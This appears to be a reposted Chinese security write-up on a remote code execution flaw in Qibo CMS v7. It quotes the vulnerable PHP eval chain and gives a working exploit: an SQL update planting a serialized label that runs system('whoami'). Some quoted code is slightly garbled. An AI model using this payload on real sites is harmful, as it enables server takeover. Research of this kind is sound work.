齐博CMS_v7-Rce漏洞
前言
一直都是挖一下小cms的历史漏洞,然后突然就想挖一个原创的漏洞,就去齐博的官网下载了他们的cms,然后全局搜了一下eval,发现有一个可疑的利用点,就开始分析。
代码审计
漏洞点
label_set_rs.php
lobal $db,$pre,$timestamp,$webdb,$TB_url;
//分类的话,对于分表的情况,要特别处理,不支持其它频道调用,会出错
if($format[SYS]=='fenlei'&&!$rs[posttime]){
global $Fid_db;
$_erp=$Fid_db[tableid][$rs[fid]];
$rs=$db->get_one("SELECT * FROM {$pre}{$format[wninfo]}content$_erp WHERE id='$rs[id]' ");
}
//读取自定义字段的表,方便调用,如果声明了noReadMid就不要读了
if($format[wninfo]&&$rs[mid]&&!$format[noReadMid]){
$_rss=$db->get_one("SELECT * FROM {$pre}{$format[wninfo]}content_{$rs[mid]} WHERE id='$rs[id]' ");
$_rss && $rs=$rs+$_rss;
//文章要读取自定义字段的表,方便调用
}elseif($format[SYS]=='artcile'&&$rs[mid]){
$_rss=$db->get_one("SELECT * FROM {$pre}article_content_{$rs[mid]} WHERE aid='$rs[aid]' ");
$_rss && $rs=$rs+$_rss;
}
//扩展接口,少用
if($format[eval_code]){
eval($format[eval_code]);
}
我们发现这里的formati[eval_code]有值的时候,就会执行。我们找一下哪里调用了这个函数,发现在Get_Title函数中调用了这个函数。
function Get_Title($format){
global $db,$webdb,$pre,$ModuleDB;
//CMS万能文章专题里的文章
if($format['SYS']=='CMS'&&$format['ctype']=='special'){
return CMS_special($format);
}
//方便下面得到URL的真实列表地址
$page=1;
if(strstr($format[sql],'$GLOBALS[')){
eval("$format[sql]="$format[sql]";");
}
if(strstr($format[sql2],'$GLOBALS[')){
eval("$format[sql2]="$format[sql2]";");
}
//此处屏障报错,主要是处理不同版本之间存在的一些差异性问题
$query=$db->query("$format[sql]",'','0');
if(!$query){
return ;
}
//辅助模板存在,并且辅助SQL存在的话,要读数据库
if($format[tplpart_2code]&&$format[sql2]){
$query2=$db->query($format[sql2],'','0');
$rs2=$db->fetch_array($query2);
$rs2=label_set_rs($format,$rs2);
}
}
这里的format[sql]为能准确执行的sql语句,而且format[tplpart_2code]都必须为true然后就能进入label_set_rs然后在js.php里调用了Get_Title。
js.php
<?php
error_reporting(0);extract($_GET);
require_once(dirname(__FILE__)."/../data/config.php");
if(!eregi("^([0-9]+)$",$id)){
die("document.write('ID不存在');");
}
$FileName=dirname(__FILE__)."/../cache/js/";
$FileName.="{$id}.php";
//默认缓存3分钟.
if(!$webdb["cache_time_js"]){
$webdb["cache_time_js"]=3;
}
var_dump(!$webdb["cache_time_js"]);
echo (time()-filemtime($FileName));
if( (time()-filemtime($FileName))<($webdb["cache_time_js"]*60) ){
@include($FileName);
$show=str_replace(array("n","r","'"),array("","","'"),stripslashes($show));
if($iframeID){ //框架方式不会拖慢主页面打开速度,推荐
//处理跨域问题
if($webdb[cookieDomain]){
echo "<SCRIPT LANGUAGE="JavaScript">document.domain = "$webdb[cookieDomain]";</SCRIPT>";
}
echo "<SCRIPT LANGUAGE="JavaScript">
parent.document.getElementById('$iframeID').innerHTML='$show';
</SCRIPT>";
}else{ //JS式会拖慢主页面打开速度,不推荐
echo "document.write('$show');";
}
exit;
}
require(dirname(__FILE__)."/"."global.php");
require_once(ROOT_PATH."inc/label_funcation.php");
$query=$db->query(" SELECT * FROM {$pre}label WHERE lid='$id' ");
while( $rs=$db->fetch_array($query) ){
//读数据库的标签
if( $rs[typesystem] )
{
unserialize($rs['code']);
$_array=unserialize($rs
);
var_dump($_array);
$value=($rs[type]=='special')?Get_sp($_array):Get_Title($_array);
if(strstr($value,"(/mv)")){
$value=get_label_mv($value);
}
if($_array[c_rolltype])
{
$value="<marquee direction='$_array[c_rolltype]' scrolldelay='1' scrollamount='1' onmouseout='if(document.all!=null){this.start()}' onmouseover='if(document.all!=null){this.stop()}' height='$_array[roll_height]'>$value</marquee>";
}
}
首先这里的_GET['id']传入的且必须为数字,id与sql语句进行拼接,当查询出数据后就会进入循环,然后判断rs进行反序列化,然后这里的$rs[type]不能为special然后就会把数组传入Get_Title。
利用过程
登入后台
在这里我们可以上传一个sql文件,创建一个1.sql,写入以下语句。
update qb_label set code='a:6:{s:13:"tplpart_1code";s:4:"test";s:13:"tplpart_2code";s:4:"test";s:3:"SYS";s:7:"artcile";s:9:"eval_code";s:17:"system("whoami");";s:3:"sql";s:24:"select * from qb_article";s:4:"sql2";b:1;}',typesystem=1,type='code' where lid=741;
然后上传,这里的lid可以爆破一下。 然后访问
利用成功。
原文始发于微信公众号(珠天PearlSky):齐博CMS_v7-RCE漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论